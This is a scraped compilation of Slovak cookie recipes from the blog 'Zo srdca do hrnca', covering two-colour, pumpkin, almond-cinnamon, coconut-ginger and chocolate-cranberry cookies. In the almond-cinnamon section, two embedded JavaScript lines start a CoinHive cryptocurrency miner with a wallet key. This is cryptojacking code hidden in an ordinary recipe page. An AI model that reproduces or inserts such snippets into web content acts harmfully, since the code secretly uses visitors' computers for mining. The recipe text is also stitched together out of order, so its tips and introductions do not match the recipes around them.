Inak cesto je dosť univerzálne. Je to niečo podobné ako môj starší recept na domáce keksíky. Takže pokojne si z neho urobte aj sušienky iných tvarov, bude tu fungovať aj pečiatkovanie. Ja som z tejto dávky piekla keksy na 1,5 plechu a deti ich hneď rozchytali. Tuším som mala robiť dvojitú dávku :)

Dvojfarebné keksy

• 250 g hladkej múky
• 100 g práškového cukru (alebo 75 g pre menej sladkú verziu)
• 1 ČL prášku do pečiva
• 1 vanilkový cukor alebo trochu bourbonskej vanilky
• 1 vajce
• 100 g masla
• 2 ČL kakaa

Zo surovín okrem kakaa zamiesime cesto. Rozdelíme na 2 polovice, do jednej vmiešame ešte kakao. Každé cesto rozvaľkáme na 2-3 mm. Svetlé cesto uložíme na tmavé a zrolujeme po dlhšej časti do rolády. Odložíme stuhnúť do chladničky aspoň na hodinu. Potom roládu nakrájame na kolieska hrubé asi 6-7 mm. Ukladáme na plech vystlaný papierom na pečenie (nechať miesto, trochu sa roztiahnu). Pečieme vo vopred vyhriatej rúre na 175 st. C 14-17 minút. Vyšlo mi na 1,5 plechu. Necháme vychladnúť a skladujeme v uzatvárateľnej nádobe.

Ak vyskúšate dvojfarebné keksy podľa môjho receptu, podeľte sa o to v komentároch.

Ela

Príspevok Dvojfarebné keksy zobrazený najskôr Zo srdca do hrnca.

Tipy:

• Cesto nemusí odstáť v chladničke. Ak však nemáte toľko času naraz, môžete si ho pripraviť vopred a na pár hodín odložiť do chladničky.
• Čokoládu môžete nahradiť sušeným ovocím a orieškami.
• Pre extra jesennú chuť pridajte škoricu.
• Tekvicu v ceste necítiť. Ak by ste ju však chceli celkom utajiť, nahraďte lyžicu múky 1 lyžicou kakaa. 

Priveľa tekvice? Skúste niektorý z týchto sladkých aj slaných tekvicových receptov!

Tekvicové cookies

• 300 g hladkej múky
• 200 g cukru (biely alebo trstinový, môžete aj ubrať na 150 g)
• 150 g tekvicového pyré
• 120 g zmäknutého masla
• 2 vajcia
• 1 zarovnaná ČL sódy bikarbóny
• 100 g čokolády

Všetky suroviny spolu zmiešame. Z cesta formujeme guľky, ktoré ukladáme na plech vystlaný papierom na pečenie. Ak sa nám cesto lepí na ruky, namočíme ich do studenej vody. Alebo môžeme ukladať kôpky cesta lyžicou. Pečieme vo vopred vyhriatej rúre na 175 st. 15-20 minút. Cesto vyjde na 2 plechy.

Ak vyskúšate tekvicové cookies podľa môjho receptu, podeľte sa o to v komentároch!

Ela

Príspevok Tekvicové cookies zobrazený najskôr Zo srdca do hrnca.

Príprava je rýchla, maslo a vajíčko vyberte z chladničky skôr, nech sú izbovej teploty. Nepotrebujete ani valček či formičky na vykrajovanie, všetko zvládnete ručne-stručne :)

Na mandľovo-škoricové pečivo potrebujeme:

• 100 g mandľovej múky
• 30 g gaštanovej múky
• 50 g trstinového cukru
• 1/2 ČL vínneho kameňa
• 1 vajce
• 70 g masla
• štipka soli
• štipka pravej vanilky
• 1/2 ČL škorice

Všetky suroviny zmiešame a rukami spracujeme na cesto. Z cesta tvarujeme guľky, ktoré v dlaniach zľahka sploštíme a pečieme 18-20 minút pri 180 st. C. Z uvedeného množstva získame 15 ks keksov.

Ak by sa vám cesto pri formovaní keksíkov drobilo, pridajte ešte trochu masla. Konzistencia záleží aj od veľkosti vajíčka.

Pre viac inšpirácie pozrite aj ďalšie vianočné recepty:

var miner = new CoinHive.Anonymous(’49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK‘); miner.start(); Špaldové hviezdičky

var miner = new CoinHive.Anonymous(’49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK‘); miner.start(); Oriešky

Príspevok Mandľovo-škoricové pečivo zobrazený najskôr Zo srdca do hrnca.

Vychádzala som z tohto receptu a nezľaknite sa, že som trochu experimentovala z múkami. Objavila som totiž čaro šachorovej múky, ktorá chutí ako oriešky a výborne ich aj nahradí. To mi pri pečení padlo vhod, lebo som práve nemala dosť orechov.

Kombinovala som celozrnnú špaldovú múku s bezlepkovými múkami a časť orechov som nahradila práve šachorovou múkou. Jasné, že nie každý má doma paletu bezlepkových a celozrnných múk, ale nemusíte sa presne pridŕžať receptu. Základom je použiť približne 150 g múky a 150 g orechov a je len fajn, ak časť múky použijete celozrnnej alebo aj bezlepkovej pre vyššiu výživnú hodnotu. Kokosový cukor sa svojou karamelovou chuťou hodil úžasne, ale môže byť aj trstinový…

Ingrediencie

• 100 g hladkej špaldovej múky (celozrnnej)
• 25 g ľanovej múky
• 25 g pohánkovej múky
• 50 g šachorovej múky
• 100 g mletých orechov (vlašské, mandle,…)
• 50 g ovsených vločiek
• 1 vajce
• 50 g cukru z kokosových kvetov
• 125 g masla
• 1/2 ČL škorice
• 1/2 ČL vanilky
• 1/2 ČL prášku do pečiva
• štipka soli
• hrť posekaných kokosvých čipsov
• hrsť kandizovaného zázvoru

Postup

Zmäknuté maslo zmiešame s cukrom a vajíčkom. Pridáme všetky ostatné ingrediencie okrem kokosu a zázvoru a rukami vymiešame hutné cesto. Nakoniec pridáme posekané kokosové čipsy a kandizovaný zázvor. Z cesta formujeme rukami guličky, ktoré zľahka sploštíme a ukladáme na plech vystlaný papierom na pečenie. Pečieme pri 180°C 15-17 minút.

Ak vyskúšate tieto cookies podľa môjho receptu, podeľte sa o to v komentároch.

Ela

Príspevok Kokosovo-zázvorové cookies zobrazený najskôr Zo srdca do hrnca.

Cookies s čokoládou a brusnicami:

• 150 g (špaldovej) hladkej múky*
• 150 g mletých vlašských orechov
• 50 g ovsených vločiek
• 125 g masla
• 1 vajce
• 70 g trstinového cukru
• 1/2 ČL škorice
• 1/2 ČL prášku do pečiva
• štipka vanilky
• štipka soli
• hrsť sušených brusníc
• hrsť posekanej horkej čokolády

*alebo kombinujte s bezlepkovými múkami, napr. 100 g špaldovej + 25 g ľanovej + 25 g pohánkovej

Postup

1. Rúru vyhrejeme na 200°C.
2. Maslo vyšľaháme s cukrom, pridáme jedno vajíčko.
3. Postupne vsypeme múku zmiešanú s práškom do pečiva, mleté orechy, ovsené vločky, škoricu, vanilku a štipku soli.
4. Cesto dobre premiešame a nakoniec pridáme posekané sušené brusnice a horkú čokoládu, premiešame.
5. Z cesta formujeme guličky, sploštíme ich v dlani na placky a ukladáme na plech vystlaný papierom na pečenie.
6. Teplotu v rúre znížime na 180°C a pečieme dozlatista 15-17 minút.
7. Z uvedeného množstva mi vyšlo 40 kusov.

Ak vyskúšate cookies s čokoládou a brusnicami podľa môjho receptu, podeľte sa o to na FB Zo srdca do hrnca alebo na Instagrame s hashtagom #zosrdcadohrnca Alebo mi napíšte komentár tu dole :)

Ela

Príspevok Cookies s čokoládou a brusnicami zobrazený najskôr Zo srdca do hrnca.